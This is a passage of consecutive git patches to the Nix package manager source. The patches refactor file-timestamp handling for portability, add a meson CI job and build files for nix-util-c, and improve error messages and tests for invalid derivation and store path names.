From: Brian McKenna <brian@brianmckenna.org>
Date: Thu, 15 Sep 2022 05:56:57 +0000
Subject: [PATCH 408/528] Guard uses of lutimes, for portability

---
 src/libfetchers/git.cc                | 22 ++------
 src/libstore/posix-fs-canonicalise.cc | 16 ++----
 src/libutil/file-system.cc            | 76 ++++++++++++++++++++-------
 src/libutil/file-system.hh            | 24 +++++++++
 4 files changed, 89 insertions(+), 49 deletions(-)

diff --git a/src/libfetchers/git.cc b/src/libfetchers/git.cc
index ce80932f676..184c1383e58 100644
--- a/src/libfetchers/git.cc
+++ b/src/libfetchers/git.cc
@@ -41,21 +41,6 @@ bool isCacheFileWithinTtl(time_t now, const struct stat & st)
     return st.st_mtime + settings.tarballTtl > now;
 }
 
-bool touchCacheFile(const Path & path, time_t touch_time)
-{
-#ifndef _WIN32 // TODO implement
-    struct timeval times[2];
-    times[0].tv_sec = touch_time;
-    times[0].tv_usec = 0;
-    times[1].tv_sec = touch_time;
-    times[1].tv_usec = 0;
-
-    return lutimes(path.c_str(), times) == 0;
-#else
-    return false;
-#endif
-}
-
 Path getCachePath(std::string_view key, bool shallow)
 {
     return getCacheDir()
@@ -594,8 +579,11 @@ struct GitInputScheme : InputScheme
                     warn("could not update local clone of Git repository '%s'; continuing with the most recent version", repoInfo.url);
                 }
 
-                if (!touchCacheFile(localRefFile, now))
-                    warn("could not update mtime for file '%s': %s", localRefFile, strerror(errno));
+                try {
+                    setWriteTime(localRefFile, now, now);
+                } catch (Error & e) {
+                    warn("could not update mtime for file '%s': %s", localRefFile, e.msg());
+                }
                 if (!originalRef && !storeCachedHead(repoInfo.url, ref))
                     warn("could not update cached head '%s' for '%s'", ref, repoInfo.url);
             }
diff --git a/src/libstore/posix-fs-canonicalise.cc b/src/libstore/posix-fs-canonicalise.cc
index 8cb13d81038..46a78cc86aa 100644
--- a/src/libstore/posix-fs-canonicalise.cc
+++ b/src/libstore/posix-fs-canonicalise.cc
@@ -33,19 +33,9 @@ static void canonicaliseTimestampAndPermissions(const Path & path, const struct
 
 #ifndef _WIN32 // TODO implement
     if (st.st_mtime != mtimeStore) {
-        struct timeval times[2];
-        times[0].tv_sec = st.st_atime;
-        times[0].tv_usec = 0;
-        times[1].tv_sec = mtimeStore;
-        times[1].tv_usec = 0;
-#if HAVE_LUTIMES
-        if (lutimes(path.c_str(), times) == -1)
-            if (errno != ENOSYS ||
-                (!S_ISLNK(st.st_mode) && utimes(path.c_str(), times) == -1))
-#else
-        if (!S_ISLNK(st.st_mode) && utimes(path.c_str(), times) == -1)
-#endif
-            throw SysError("changing modification time of '%1%'", path);
+        struct stat st2 = st;
+        st2.st_mtime = mtimeStore,
+        setWriteTime(path, st2);
     }
 #endif
 }
diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
index 443ccf8290d..2536361b2e7 100644
--- a/src/libutil/file-system.cc
+++ b/src/libutil/file-system.cc
@@ -557,29 +557,69 @@ void replaceSymlink(const Path & target, const Path & link)
     }
 }
 
-#ifndef _WIN32
-static void setWriteTime(const fs::path & p, const struct stat & st)
+void setWriteTime(
+    const std::filesystem::path & path,
+    time_t accessedTime,
+    time_t modificationTime,
+    std::optional<bool> optIsSymlink)
 {
-    struct timeval times[2];
-    times[0] = {
-        .tv_sec = st.st_atime,
-        .tv_usec = 0,
+#ifndef _WIN32
+    struct timeval times[2] = {
+        {
+            .tv_sec = accessedTime,
+            .tv_usec = 0,
+        },
+        {
+            .tv_sec = modificationTime,
+            .tv_usec = 0,
+        },
     };
-    times[1] = {
-        .tv_sec = st.st_mtime,
-        .tv_usec = 0,
+#endif
+
+    auto nonSymlink = [&]{
+        bool isSymlink = optIsSymlink
+            ? *optIsSymlink
+            : fs::is_symlink(path);
+
+        if (!isSymlink) {
+#ifdef _WIN32
+            // FIXME use `fs::last_write_time`.
+            //
+            // Would be nice to use std::filesystem unconditionally, but
+            // doesn't support access time just modification time.
+            //
+            // System clock vs File clock issues also make that annoying.
+            warn("Changing file times is not yet implemented on Windows, path is '%s'", path);
+#else
+            if (utimes(path.c_str(), times) == -1) {
+
+                throw SysError("changing modification time of '%s' (not a symlink)", path);
+            }
+#endif
+        } else {
+            throw Error("Cannot modification time of symlink '%s'", path);
+        }
     };
-    if (lutimes(p.c_str(), times) != 0)
-        throw SysError("changing modification time of '%s'", p);
-}
+
+#if HAVE_LUTIMES
+    if (lutimes(path.c_str(), times) == -1) {
+        if (errno == ENOSYS)
+            nonSymlink();
+        else
+            throw SysError("changing modification time of '%s'", path);
+    }
+#else
+    nonSymlink();
 #endif
+}
+
+void setWriteTime(const fs::path & path, const struct stat & st)
+{
+    setWriteTime(path, st.st_atime, st.st_mtime, S_ISLNK(st.st_mode));
+}
 
 void copyFile(const fs::path & from, const fs::path & to, bool andDelete)
 {
-#ifndef _WIN32
-    // TODO: Rewrite the `is_*` to use `symlink_status()`
-    auto statOfFrom = lstat(from.c_str());
-#endif
     auto fromStatus = fs::symlink_status(from);
 
     // Mark the directory as writable so that we can delete its children
@@ -599,9 +639,7 @@ void copyFile(const fs::path & from, const fs::path & to, bool andDelete)
         throw Error("file '%s' has an unsupported type", from);
     }
 
-#ifndef _WIN32
-    setWriteTime(to, statOfFrom);
-#endif
+    setWriteTime(to, lstat(from.string().c_str()));
     if (andDelete) {
         if (!fs::is_symlink(fromStatus))
             fs::permissions(from, fs::perms::owner_write, fs::perm_options::add | fs::perm_options::nofollow);
diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
index 9405cda0cca..aeea80e002f 100644
--- a/src/libutil/file-system.hh
+++ b/src/libutil/file-system.hh
@@ -156,6 +156,30 @@ inline void createDirs(PathView path)
     return createDirs(Path(path));
 }
 
+/**
+ * Set the access and modification times of the given path, not
+ * following symlinks.
+ *
+ * @param accessTime Specified in seconds.
+ *
+ * @param modificationTime Specified in seconds.
+ *
+ * @param isSymlink Whether the file in question is a symlink. Used for
+ * fallback code where we don't have `lutimes` or similar. if
+ * `std::optional` is passed, the information will be recomputed if it
+ * is needed. Race conditions are possible so be careful!
+ */
+void setWriteTime(
+    const std::filesystem::path & path,
+    time_t accessedTime,
+    time_t modificationTime,
+    std::optional<bool> isSymlink = std::nullopt);
+
+/**
+ * Convenience wrapper that takes all arguments from the `struct stat`.
+ */
+void setWriteTime(const std::filesystem::path & path, const struct stat & st);
+
 /**
  * Create a symlink.
  */

From 1801119e2919b2a746964fd6e9a12f44f267b711 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Tue, 25 Jun 2024 10:14:06 +0200
Subject: [PATCH 409/528] ci.yml: Add meson_build

Restore meson CI after https://github.com/NixOS/nix/pull/10929
---
 .github/workflows/ci.yml | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 2cd908f9e86..c9e4c25eacc 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -193,3 +193,11 @@ jobs:
       - uses: DeterminateSystems/nix-installer-action@main
       - uses: DeterminateSystems/magic-nix-cache-action@main
       - run: nix build -L .#hydraJobs.tests.githubFlakes .#hydraJobs.tests.tarballFlakes .#hydraJobs.tests.functional_user
+
+  meson_build:
+    runs-on: ubuntu-22.04
+    steps:
+      - uses: actions/checkout@v4
+      - uses: DeterminateSystems/nix-installer-action@main
+      - uses: DeterminateSystems/magic-nix-cache-action@main
+      - run: nix build -L .#hydraJobs.build.{nix-fetchers,nix-store,nix-util}.$(nix-instantiate --eval --expr builtins.currentSystem | sed -e 's/"//g')

From 0674be8d498d6ad1ca8bb383b26107ccdb64148d Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Tue, 25 Jun 2024 10:21:34 +0200
Subject: [PATCH 410/528] nix-util: Fix build

---
 src/libutil/meson.build | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/src/libutil/meson.build b/src/libutil/meson.build
index 2259d4e22bf..9d0b28539ca 100644
--- a/src/libutil/meson.build
+++ b/src/libutil/meson.build
@@ -161,6 +161,7 @@ sources = files(
   'compression.cc',
   'compute-levels.cc',
   'config.cc',
+  'config-global.cc',
   'current-process.cc',
   'english.cc',
   'environment-variables.cc',
@@ -211,6 +212,7 @@ headers = [config_h] + files(
   'comparator.hh',
   'compression.hh',
   'compute-levels.hh',
+  'config-global.hh',
   'config-impl.hh',
   'config.hh',
   'current-process.hh',

From 7df9d6da6542c06ba017e8dec1b63751a4bae847 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 20 Jun 2024 22:20:17 +0200
Subject: [PATCH 411/528] Improve error messages for invalid derivation names

---
 src/libexpr/primops.cc                        | 22 ++++++++++++++
 src/libexpr/primops/fetchTree.cc              | 22 ++++++++++++--
 src/libstore/path.cc                          | 30 ++++++++++++-------
 src/libstore/path.hh                          |  9 ++++++
 src/libstore/store-dir-config.hh              |  1 +
 src/libutil/error.hh                          |  1 +
 src/libutil/fmt.hh                            |  2 ++
 .../lang/eval-fail-derivation-name.err.exp    | 26 ++++++++++++++++
 .../lang/eval-fail-derivation-name.nix        |  5 ++++
 ...-fail-fetchurl-baseName-attrs-name.err.exp |  8 +++++
 ...eval-fail-fetchurl-baseName-attrs-name.nix |  1 +
 .../eval-fail-fetchurl-baseName-attrs.err.exp |  8 +++++
 .../eval-fail-fetchurl-baseName-attrs.nix     |  1 +
 .../lang/eval-fail-fetchurl-baseName.err.exp  |  8 +++++
 .../lang/eval-fail-fetchurl-baseName.nix      |  1 +
 tests/unit/libstore/path.cc                   | 16 ++++++++--
 16 files changed, 145 insertions(+), 16 deletions(-)
 create mode 100644 tests/functional/lang/eval-fail-derivation-name.err.exp
 create mode 100644 tests/functional/lang/eval-fail-derivation-name.nix
 create mode 100644 tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.err.exp
 create mode 100644 tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.nix
 create mode 100644 tests/functional/lang/eval-fail-fetchurl-baseName-attrs.err.exp
 create mode 100644 tests/functional/lang/eval-fail-fetchurl-baseName-attrs.nix
 create mode 100644 tests/functional/lang/eval-fail-fetchurl-baseName.err.exp
 create mode 100644 tests/functional/lang/eval-fail-fetchurl-baseName.nix

diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index 000fce45580..21244101980 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -1162,12 +1162,34 @@ static void prim_derivationStrict(EvalState & state, const PosIdx pos, Value * *
     }
 }
 
+/**
+ * Early validation for the derivation name, for better error message.
+ * It is checked again when constructing store paths.
+ *
+ * @todo Check that the `.drv` suffix also fits.
+ */
+static void checkDerivationName(EvalState & state, std::string_view drvName)
+{
+    try {
+        checkName(drvName);
+    } catch (BadStorePathName & e) {
+        // "Please pass a different name": Users may not be aware that they can
+        //     pass a different one, in functions like `fetchurl` where the name
+        //     is optional.
+        // Note that Nixpkgs generally won't trigger this, because `mkDerivation`
+        // sanitizes the name.
+        state.error<EvalError>("invalid derivation name: %s. Please pass a different '%s'.", Uncolored(e.message()), "name").debugThrow();
+    }
+}
+
 static void derivationStrictInternal(
     EvalState & state,
     const std::string & drvName,
     const Bindings * attrs,
     Value & v)
 {
+    checkDerivationName(state, drvName);
+
     /* Check whether attributes should be passed as a JSON file. */
     using nlohmann::json;
     std::optional<json> jsonObject;
diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc
index db2cc0d2bcf..fa6b1c4b6cc 100644
--- a/src/libexpr/primops/fetchTree.cc
+++ b/src/libexpr/primops/fetchTree.cc
@@ -431,7 +431,10 @@ static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v
 
     state.forceValue(*args[0], pos);
 
-    if (args[0]->type() == nAttrs) {
+    bool isArgAttrs = args[0]->type() == nAttrs;
+    bool nameAttrPassed = false;
+
+    if (isArgAttrs) {
 
         for (auto & attr : *args[0]->attrs()) {
             std::string_view n(state.symbols[attr.name]);
@@ -439,8 +442,10 @@ static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v
                 url = state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the url we should fetch");
             else if (n == "sha256")
                 expectedHash = newHashAllowEmpty(state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the sha256 of the content we should fetch"), HashAlgorithm::SHA256);
-            else if (n == "name")
+            else if (n == "name") {
+                nameAttrPassed = true;
                 name = state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the name of the content we should fetch");
+            }
             else
                 state.error<EvalError>("unsupported argument '%s' to '%s'", n, who)
                 .atPos(pos).debugThrow();
@@ -460,6 +465,19 @@ static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v
     if (name == "")
         name = baseNameOf(*url);
 
+    try {
+        checkName(name);
+    } catch (BadStorePathName & e) {
+        auto resolution =
+            nameAttrPassed ? HintFmt("Please change the value for the 'name' attribute passed to '%s', so that it can create a valid store path.", who) :
+            isArgAttrs ? HintFmt("Please add a valid 'name' attribute to the argument for '%s', so that it can create a valid store path.", who) :
+            HintFmt("Please pass an attribute set with 'url' and 'name' attributes to '%s',  so that it can create a valid store path.", who);
+
+        state.error<EvalError>(
+            std::string("invalid store path name when fetching URL '%s': %s. %s"), *url, Uncolored(e.message()), Uncolored(resolution.str()))
+        .atPos(pos).debugThrow();
+    }
+
     if (state.settings.pureEval && !expectedHash)
         state.error<EvalError>("in pure evaluation mode, '%s' requires a 'sha256' argument", who).atPos(pos).debugThrow();
 
diff --git a/src/libstore/path.cc b/src/libstore/path.cc
index 8d97267227c..3e9d054778c 100644
--- a/src/libstore/path.cc
+++ b/src/libstore/path.cc
@@ -2,25 +2,24 @@
 
 namespace nix {
 
-static void checkName(std::string_view path, std::string_view name)
+void checkName(std::string_view name)
 {
     if (name.empty())
-        throw BadStorePath("store path '%s' has an empty name", path);
+        throw BadStorePathName("name must not be empty");
     if (name.size() > StorePath::MaxPathLen)
-        throw BadStorePath("store path '%s' has a name longer than %d characters",
-            path, StorePath::MaxPathLen);
+        throw BadStorePathName("name '%s' must be no longer than %d characters", name, StorePath::MaxPathLen);
     // See nameRegexStr for the definition
     if (name[0] == '.') {
         // check against "." and "..", followed by end or dash
         if (name.size() == 1)
-            throw BadStorePath("store path '%s' has invalid name '%s'", path, name);
+            throw BadStorePathName("name '%s' is not valid", name);
         if (name[1] == '-')
-            throw BadStorePath("store path '%s' has invalid name '%s': first dash-separated component must not be '%s'", path, name, ".");
+            throw BadStorePathName("name '%s' is not valid: first dash-separated component must not be '%s'", name, ".");
         if (name[1] == '.') {
             if (name.size() == 2)
-                throw BadStorePath("store path '%s' has invalid name '%s'", path, name);
+                throw BadStorePathName("name '%s' is not valid", name);
             if (name[2] == '-')
-                throw BadStorePath("store path '%s' has invalid name '%s': first dash-separated component must not be '%s'", path, name, "..");
+                throw BadStorePathName("name '%s' is not valid: first dash-separated component must not be '%s'", name, "..");
         }
     }
     for (auto c : name)
@@ -28,7 +27,16 @@ static void checkName(std::string_view path, std::string_view name)
                 || (c >= 'a' && c <= 'z')
                 || (c >= 'A' && c <= 'Z')
                 || c == '+' || c == '-' || c == '.' || c == '_' || c == '?' || c == '='))
-            throw BadStorePath("store path '%s' contains illegal character '%s'", path, c);
+            throw BadStorePathName("name '%s' contains illegal character '%s'", name, c);
+}
+
+static void checkPathName(std::string_view path, std::string_view name)
+{
+    try {
+        checkName(name);
+    } catch (BadStorePathName & e) {
+        throw BadStorePath("path '%s' is not a valid store path: %s", path, Uncolored(e.message()));
+    }
 }
 
 StorePath::StorePath(std::string_view _baseName)
@@ -40,13 +48,13 @@ StorePath::StorePath(std::string_view _baseName)
         if (c == 'e' || c == 'o' || c == 'u' || c == 't'
             || !((c >= '0' && c <= '9') || (c >= 'a' && c <= 'z')))
             throw BadStorePath("store path '%s' contains illegal base-32 character '%s'", baseName, c);
-    checkName(baseName, name());
+    checkPathName(baseName, name());
 }
 
 StorePath::StorePath(const Hash & hash, std::string_view _name)
     : baseName((hash.to_string(HashFormat::Nix32, false) + "-").append(std::string(_name)))
 {
-    checkName(baseName, name());
+    checkPathName(baseName, name());
 }
 
 bool StorePath::isDerivation() const noexcept
diff --git a/src/libstore/path.hh b/src/libstore/path.hh
index 4abbfcd7c7e..2380dc6a27a 100644
--- a/src/libstore/path.hh
+++ b/src/libstore/path.hh
@@ -9,6 +9,13 @@ namespace nix {
 
 struct Hash;
 
+/**
+ * Check whether a name is a valid store path name.
+ *
+ * @throws BadStorePathName if the name is invalid. The message is of the format "name %s is not valid, for this specific reason".
+ */
+void checkName(std::string_view name);
+
 /**
  * \ref StorePath "Store path" is the fundamental reference type of Nix.
  * A store paths refers to a Store object.
@@ -31,8 +38,10 @@ public:
 
     StorePath() = delete;
 
+    /** @throws BadStorePath */
     StorePath(std::string_view baseName);
 
+    /** @throws BadStorePath */
     StorePath(const Hash & hash, std::string_view name);
 
     std::string_view to_string() const noexcept
diff --git a/src/libstore/store-dir-config.hh b/src/libstore/store-dir-config.hh
index fe86ce40d18..64c0dd8b70b 100644
--- a/src/libstore/store-dir-config.hh
+++ b/src/libstore/store-dir-config.hh
@@ -16,6 +16,7 @@ namespace nix {
 struct SourcePath;
 
 MakeError(BadStorePath, Error);
+MakeError(BadStorePathName, BadStorePath);
 
 struct StoreDirConfig : public Config
 {
diff --git a/src/libutil/error.hh b/src/libutil/error.hh
index 26900001621..4b08a045e32 100644
--- a/src/libutil/error.hh
+++ b/src/libutil/error.hh
@@ -155,6 +155,7 @@ public:
         : err(e)
     { }
 
+    /** The error message without "error: " prefixed to it. */
     std::string message() {
         return err.msg.str();
     }
diff --git a/src/libutil/fmt.hh b/src/libutil/fmt.hh
index ef44a8409fc..850b7162d87 100644
--- a/src/libutil/fmt.hh
+++ b/src/libutil/fmt.hh
@@ -111,6 +111,8 @@ std::ostream & operator<<(std::ostream & out, const Magenta<T> & y)
 /**
  * Values wrapped in this class are printed without coloring.
  *
+ * Specifically, the color is reset to normal before printing the value.
+ *
  * By default, arguments to `HintFmt` are printed in magenta (see `Magenta`).
  */
 template <class T>
diff --git a/tests/functional/lang/eval-fail-derivation-name.err.exp b/tests/functional/lang/eval-fail-derivation-name.err.exp
new file mode 100644
index 00000000000..eb2206df16d
--- /dev/null
+++ b/tests/functional/lang/eval-fail-derivation-name.err.exp
@@ -0,0 +1,26 @@
+error:
+       … while evaluating the attribute 'outPath'
+         at <nix/derivation-internal.nix>:19:9:
+           18|       value = commonAttrs // {
+           19|         outPath = builtins.getAttr outputName strict;
+             |         ^
+           20|         drvPath = strict.drvPath;
+
+       … while calling the 'getAttr' builtin
+         at <nix/derivation-internal.nix>:19:19:
+           18|       value = commonAttrs // {
+           19|         outPath = builtins.getAttr outputName strict;
+             |                   ^
+           20|         drvPath = strict.drvPath;
+
+       … while calling the 'derivationStrict' builtin
+         at <nix/derivation-internal.nix>:9:12:
+            8|
+            9|   strict = derivationStrict drvAttrs;
+             |            ^
+           10|
+
+       … while evaluating derivation '~jiggle~'
+         whose name attribute is located at /pwd/lang/eval-fail-derivation-name.nix:2:3
+
+       error: invalid derivation name: name '~jiggle~' contains illegal character '~'. Please pass a different 'name'.
diff --git a/tests/functional/lang/eval-fail-derivation-name.nix b/tests/functional/lang/eval-fail-derivation-name.nix
new file mode 100644
index 00000000000..e779ad6ff5e
--- /dev/null
+++ b/tests/functional/lang/eval-fail-derivation-name.nix
@@ -0,0 +1,5 @@
+derivation {
+  name = "~jiggle~";
+  system = "some-system";
+  builder = "/dontcare";
+}
diff --git a/tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.err.exp b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.err.exp
new file mode 100644
index 00000000000..30f8b6a3544
--- /dev/null
+++ b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.err.exp
@@ -0,0 +1,8 @@
+error:
+       … while calling the 'fetchurl' builtin
+         at /pwd/lang/eval-fail-fetchurl-baseName-attrs-name.nix:1:1:
+            1| builtins.fetchurl { url = "https://example.com/foo.tar.gz"; name = "~wobble~"; }
+             | ^
+            2|
+
+       error: invalid store path name when fetching URL 'https://example.com/foo.tar.gz': name '~wobble~' contains illegal character '~'. Please change the value for the 'name' attribute passed to 'fetchurl', so that it can create a valid store path.
diff --git a/tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.nix b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.nix
new file mode 100644
index 00000000000..5838055390d
--- /dev/null
+++ b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.nix
@@ -0,0 +1 @@
+builtins.fetchurl { url = "https://example.com/foo.tar.gz"; name = "~wobble~"; }
diff --git a/tests/functional/lang/eval-fail-fetchurl-baseName-attrs.err.exp b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs.err.exp
new file mode 100644
index 00000000000..cef532e9476
--- /dev/null
+++ b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs.err.exp
@@ -0,0 +1,8 @@
+error:
+       … while calling the 'fetchurl' builtin
+         at /pwd/lang/eval-fail-fetchurl-baseName-attrs.nix:1:1:
+            1| builtins.fetchurl { url = "https://example.com/~wiggle~"; }
+             | ^
+            2|
+
+       error: invalid store path name when fetching URL 'https://example.com/~wiggle~': name '~wiggle~' contains illegal character '~'. Please add a valid 'name' attribute to the argument for 'fetchurl', so that it can create a valid store path.
diff --git a/tests/functional/lang/eval-fail-fetchurl-baseName-attrs.nix b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs.nix
new file mode 100644
index 00000000000..068120edbbe
--- /dev/null
+++ b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs.nix
@@ -0,0 +1 @@
+builtins.fetchurl { url = "https://example.com/~wiggle~"; }
diff --git a/tests/functional/lang/eval-fail-fetchurl-baseName.err.exp b/tests/functional/lang/eval-fail-fetchurl-baseName.err.exp
new file mode 100644
index 00000000000..0950e8e70ab
--- /dev/null
+++ b/tests/functional/lang/eval-fail-fetchurl-baseName.err.exp
@@ -0,0 +1,8 @@
+error:
+       … while calling the 'fetchurl' builtin
+         at /pwd/lang/eval-fail-fetchurl-baseName.nix:1:1:
+            1| builtins.fetchurl "https://example.com/~wiggle~"
+             | ^
+            2|
+
+       error: invalid store path name when fetching URL 'https://example.com/~wiggle~': name '~wiggle~' contains illegal character '~'. Please pass an attribute set with 'url' and 'name' attributes to 'fetchurl',  so that it can create a valid store path.
diff --git a/tests/functional/lang/eval-fail-fetchurl-baseName.nix b/tests/functional/lang/eval-fail-fetchurl-baseName.nix
new file mode 100644
index 00000000000..96509384304
--- /dev/null
+++ b/tests/functional/lang/eval-fail-fetchurl-baseName.nix
@@ -0,0 +1 @@
+builtins.fetchurl "https://example.com/~wiggle~"
diff --git a/tests/unit/libstore/path.cc b/tests/unit/libstore/path.cc
index 213b6e95f52..c4c055abf0c 100644
--- a/tests/unit/libstore/path.cc
+++ b/tests/unit/libstore/path.cc
@@ -26,10 +26,19 @@ static std::regex nameRegex { std::string { nameRegexStr } };
     TEST_F(StorePathTest, bad_ ## NAME) {                    \
         std::string_view str =                               \
             STORE_DIR HASH_PART "-" STR;                     \
-        ASSERT_THROW(                                        \
-            store->parseStorePath(str),                      \
-            BadStorePath);                                   \
+        /* ASSERT_THROW generates a duplicate goto label */  \
+        /* A lambda isolates those labels. */                \
+        [&](){                                               \
+            ASSERT_THROW(                                    \
+                store->parseStorePath(str),                  \
+                BadStorePath);                               \
+        }();                                                 \
         std::string name { STR };                            \
+        [&](){                                               \
+            ASSERT_THROW(                                    \
+                nix::checkName(name),                        \
+                BadStorePathName);                           \
+        }();                                                 \
         EXPECT_FALSE(std::regex_match(name, nameRegex));     \
     }
 
@@ -54,6 +63,7 @@ TEST_DONT_PARSE(dot_dash_a, ".-a")
             STORE_DIR HASH_PART "-" STR;                     \
         auto p = store->parseStorePath(str);                 \
         std::string name { p.name() };                       \
+        EXPECT_EQ(p.name(), STR);                            \
         EXPECT_TRUE(std::regex_match(name, nameRegex));      \
     }
 

From ac89828b5a78045fc4943d47041a5599302a566c Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Tue, 25 Jun 2024 15:35:47 +0200
Subject: [PATCH 412/528] Build nix-util-c with meson and unit test

---
 flake.nix                              |  51 ++++++++-
 maintainers/hydra.nix                  |   3 +
 meson.build                            |   7 ++
 src/libutil-c/.version                 |   1 +
 src/libutil-c/meson.build              | 117 ++++++++++++++++++++
 src/libutil-c/meson.options            |   1 +
 src/libutil-c/nix-util-c.pc.in         |   9 ++
 src/libutil-c/package.nix              |  96 +++++++++++++++++
 src/libutil-test                       |   1 +
 src/libutil-test-support               |   1 +
 tests/unit/libutil-support/.version    |   1 +
 tests/unit/libutil-support/meson.build | 110 +++++++++++++++++++
 tests/unit/libutil-support/package.nix |  98 +++++++++++++++++
 tests/unit/libutil/.version            |   1 +
 tests/unit/libutil/meson.build         | 142 +++++++++++++++++++++++++
 tests/unit/libutil/package.nix         | 112 +++++++++++++++++++
 16 files changed, 750 insertions(+), 1 deletion(-)
 create mode 120000 src/libutil-c/.version
 create mode 100644 src/libutil-c/meson.build
 create mode 100644 src/libutil-c/meson.options
 create mode 100644 src/libutil-c/nix-util-c.pc.in
 create mode 100644 src/libutil-c/package.nix
 create mode 120000 src/libutil-test
 create mode 120000 src/libutil-test-support
 create mode 120000 tests/unit/libutil-support/.version
 create mode 100644 tests/unit/libutil-support/meson.build
 create mode 100644 tests/unit/libutil-support/package.nix
 create mode 100644 tests/unit/libutil/.version
 create mode 100644 tests/unit/libutil/meson.build
 create mode 100644 tests/unit/libutil/package.nix

diff --git a/flake.nix b/flake.nix
index 7e7148afea3..aac45af34e9 100644
--- a/flake.nix
+++ b/flake.nix
@@ -160,6 +160,19 @@
             };
           });
 
+          # TODO: define everything here instead of top level?
+          nix-components = {
+            inherit (final)
+              nix-util
+              nix-util-test-support
+              nix-util-test
+              nix-util-c
+              nix-store
+              nix-fetchers
+              nix-perl-bindings
+              ;
+          };
+
           nix-util = final.callPackage ./src/libutil/package.nix {
             inherit
               fileset
@@ -169,6 +182,30 @@
               ;
           };
 
+          nix-util-test-support = final.callPackage ./tests/unit/libutil-support/package.nix {
+            inherit
+              fileset
+              stdenv
+              versionSuffix
+              ;
+          };
+
+          nix-util-test = final.callPackage ./tests/unit/libutil/package.nix {
+            inherit
+              fileset
+              stdenv
+              versionSuffix
+              ;
+          };
+
+          nix-util-c = final.callPackage ./src/libutil-c/package.nix {
+            inherit
+              fileset
+              stdenv
+              versionSuffix
+              ;
+          };
+
           nix-store = final.callPackage ./src/libstore/package.nix {
             inherit
               fileset
@@ -281,7 +318,19 @@
         # the old build system is gone and we are back to one build
         # system, we should reenable this.
         #perlBindings = self.hydraJobs.perlBindings.${system};
-      } // devFlake.checks.${system} or {}
+      }
+      // lib.concatMapAttrs (nixpkgsPrefix: nixpkgs: 
+          lib.concatMapAttrs (pkgName: pkg:
+            lib.concatMapAttrs (testName: test: {
+              # Add "passthru" tests
+              "${nixpkgsPrefix}${pkgName}-${testName}" = test;
+            }) pkg.tests or {}
+          ) nixpkgs.nix-components
+        ) {
+          "" = nixpkgsFor.${system}.native;
+          "static-" = nixpkgsFor.${system}.static;
+        }
+      // devFlake.checks.${system} or {}
       );
 
       packages = forAllSystems (system: {
diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix
index e21145f374c..9e6f2c4686b 100644
--- a/maintainers/hydra.nix
+++ b/maintainers/hydra.nix
@@ -36,6 +36,9 @@ let
   forAllPackages = lib.genAttrs [
     "nix"
     "nix-util"
+    "nix-util-c"
+    "nix-util-test-support"
+    "nix-util-test"
     "nix-store"
     "nix-fetchers"
   ];
diff --git a/meson.build b/meson.build
index e67fd4a7ac5..085ac086500 100644
--- a/meson.build
+++ b/meson.build
@@ -12,3 +12,10 @@ subproject('libfetchers')
 subproject('perl')
 subproject('internal-api-docs')
 subproject('external-api-docs')
+
+# C wrappers
+subproject('libutil-c')
+
+# Testing
+subproject('libutil-test-support')
+subproject('libutil-test')
diff --git a/src/libutil-c/.version b/src/libutil-c/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/libutil-c/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build
new file mode 100644
index 00000000000..a2b0208188c
--- /dev/null
+++ b/src/libutil-c/meson.build
@@ -0,0 +1,117 @@
+project('nix-util-c', 'cpp',
+  version : files('.version'),
+  default_options : [
+    'cpp_std=c++2a',
+    # TODO(Qyriad): increase the warning level
+    'warning_level=1',
+    'debug=true',
+    'optimization=2',
+    'errorlogs=true', # Please print logs for tests that fail
+  ],
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+cxx = meson.get_compiler('cpp')
+
+# See note in ../nix-util/meson.build
+deps_private = [ ]
+
+# See note in ../nix-util/meson.build
+deps_public = [ ]
+
+# See note in ../nix-util/meson.build
+deps_other = [ ]
+
+configdata = configuration_data()
+
+add_project_arguments(
+  # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
+  # It would be nice for our headers to be idempotent instead.
+  '-include', 'config-util.h',
+  # '-include', 'config-store.h',
+  '-Wno-deprecated-declarations',
+  '-Wimplicit-fallthrough',
+  '-Werror=switch',
+  '-Werror=switch-enum',
+  '-Wdeprecated-copy',
+  '-Wignored-qualifiers',
+  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
+  # at ~1% overhead in `nix search`.
+  #
+  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
